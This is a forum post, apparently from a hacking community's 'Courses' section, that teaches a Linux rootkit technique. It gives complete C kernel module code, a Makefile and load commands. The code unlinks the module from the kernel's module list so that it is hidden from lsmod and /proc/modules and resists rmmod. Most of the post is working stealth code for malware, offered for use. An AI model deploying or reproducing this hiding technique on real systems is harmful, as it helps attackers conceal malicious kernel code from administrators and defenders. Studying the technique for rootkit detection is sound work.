• Earn real money by being active: Hello Guest, earn real money by simply being active on the forum — post quality content, get reactions, and help the community. Once you reach the minimum credit amount, you’ll be able to withdraw your balance directly. Learn how it works.

Courses Linux rootkits - Hiding kernel modules

sisu

Initiate
User
Joined
Oct 22, 2024
Messages
49
Reputation
0
Reaction score
84
Points
18
Credits
74
‎9 Months of Service‎
98%
In this post I will show how to hide our kernel module from lsmod, cat /proc/modules and also prevent our module from being removed by rmmod, this is really easy to do and won't require us to hook any system calls

what is lsmod, cat/proc/modules and rmmod?

lsmod and cat /proc/modules are commands used to show all loaded kernel modules in userspace, rmmod is a command used to unload a kernel module

Code example

Store this in a file called test.c -

Code:
#include &lt;linux/init.h&gt;<br>#include &lt;linux/module.h&gt;<br>#include &lt;linux/kernel.h&gt;<br><br>MODULE_LICENSE("GPL 3.0");<br>MODULE_AUTHOR("Myron");<br>MODULE_DESCRIPTION("Your first kernel module");<br>MODULE_VERSION("0.01");<br><br>// Name the function what you want, it doesn't have to be called initialize<br>static int __init initialize(void)<br>{&nbsp;&nbsp; <br>&nbsp; &nbsp; printk(KERN_INFO "Hello!\n");<br><br>&nbsp; &nbsp; return 0;<br><br>}<br><br><br><br>// Name the function what you want, it doesn't have to be called out<br>static void __exit out(void)&nbsp;<br>{<br>&nbsp; &nbsp; printk(KERN_INFO "Goodbye!\n");<br>}<br><br><br><br>// module_init is so we can run a function once the kernel module is loaded<br>module_init(initialize);<br><br>// module_exit is so we can run a function once the kernel module is unloaded<br>module_exit(out);

Store this in a file called Makefile -

Code:
obj-m += test.o<br><br>all:<br><br>&nbsp; &nbsp; make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules<br><br>clean:<br><br>&nbsp; &nbsp; make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

Now if to setup and load the module run the command:
make && sudo insmod test.ko && sudo dmesg

You should now see in the bottom of your kernel buffer 'Hello!'

To now show the list of modules you can use the commands, lsmod, cat /proc/modules
To unload the module you can use the command rmmod

If you execute the command: lsmod | grep test && cat/proc/modules | grep test
you should see that lsmod and cat/proc/modules were both able to store the kernel module and reveal it to you in userspace

If you execute the command: sudo rmmod test && sudo dmesg
You should now see in the bottom of your kernel buffer 'Goodbye!'
rmmod was successfully able to find and unload your module

How do we hide our kernel module?

Every linux module that gets loaded is loaded with a THIS_MODULE struct which is just a pointer to a module struct which contains a list_head struct called list.

module struct -

Code:
struct module {<br><br>&nbsp; &nbsp; enum module_state state;<br><br>&nbsp; &nbsp; /* Member of list of modules */<br>&nbsp; &nbsp; struct list_head list;<br><br>&nbsp; &nbsp; /* Unique handle for this module */<br>&nbsp; &nbsp; char name[MODULE_NAME_LEN];

list_head is a double linked list which has a prev field and a next field we can use to keep track of the module before and after our module in the list of modules (list).

list_head -

Code:
struct list_head {<br>&nbsp; &nbsp; struct list_head *next, *prev;<br>};

We will use this to save our modules position in the list so we can add our module back after deleting it from the list of modules, we will use list_del() to delete our module from the list of modules and list_add() to add our module back to the list when we are done.

Code example

Store this in a file called main.c -

Code:
#include &lt;linux/init.h&gt;<br>#include &lt;linux/module.h&gt;<br>#include &lt;linux/kernel.h&gt;<br>#include &lt;linux/types.h&gt;<br>#include &lt;linux/syscalls.h&gt;<br><br>MODULE_LICENSE("GPL 3.0");<br>MODULE_AUTHOR("Myron");<br>MODULE_DESCRIPTION("Hiding kernel modules");<br>MODULE_VERSION("0.01");<br><br>// Stores the previous module in list_head so we can add our module back to the module list<br>struct list_head *previous_module;<br><br>// Name the function what you want, it doesn't have to be called initialize<br>static int __init initialize(void)<br>{&nbsp;&nbsp; <br>&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; previous_module = THIS_MODULE-&gt;list.prev; // Store the module before us in the module list in previous_module<br>&nbsp;&nbsp;&nbsp; list_del(&amp;THIS_MODULE-&gt;list); // Delete our module from the module list<br><br>&nbsp;&nbsp;&nbsp; /* printk prints a string out to the kernel buffer, you can check the kernel buffer with the command: sudo dmesg<br>&nbsp;we use the KERN_ macro to define the log level <br>of the message we print out, usually we use KERN_INFO or KERN_DEBUG but <br>there are others too */<br><br>&nbsp; &nbsp; printk(KERN_INFO "Hello!\n");<br><br>&nbsp; &nbsp; return 0;<br><br>}<br><br><br><br>// Name the function what you want, it doesn't have to be called out<br>static void __exit out(void)<br>{<br>&nbsp;&nbsp;&nbsp; // Add our module back to the module list before exiting <br>&nbsp;&nbsp;&nbsp; list_add(&amp;THIS_MODULE-&gt;list, previous_module);<br>&nbsp; &nbsp; printk(KERN_INFO "Goodbye\n");<br><br>}<br><br><br><br>// module_init is so we can run a function once the kernel module is loaded<br>module_init(initialize);<br><br>// module_exit is so we can run a function once the kernel module is unloaded<br>module_exit(out);

Store this in a file called Makefile -

Code:
obj-m += main.o<br><br>all:<br><br>&nbsp; &nbsp; make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules<br><br>clean:<br><br>&nbsp; &nbsp; make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

Now if we run the command: make && sudo insmod main && sudo dmesg
You should now see in the your kernel buffer: 'Hello!'
This means the kernel module has been loaded, now if we execute the command: lsmod | grep main && cat/proc/modules | grep main
the output should be empty, meaning our module is successfully hidden from userspace
If we execute the command: rmmod main
the output should be ERROR: Module main is not currently loaded
this means that we have also managed to prevent our module from being unloaded by the rmmod command

We have successfully hid our module from lsmod, cat /proc/modules and prevented our module from being unloaded by rmmod!
 
Back
Top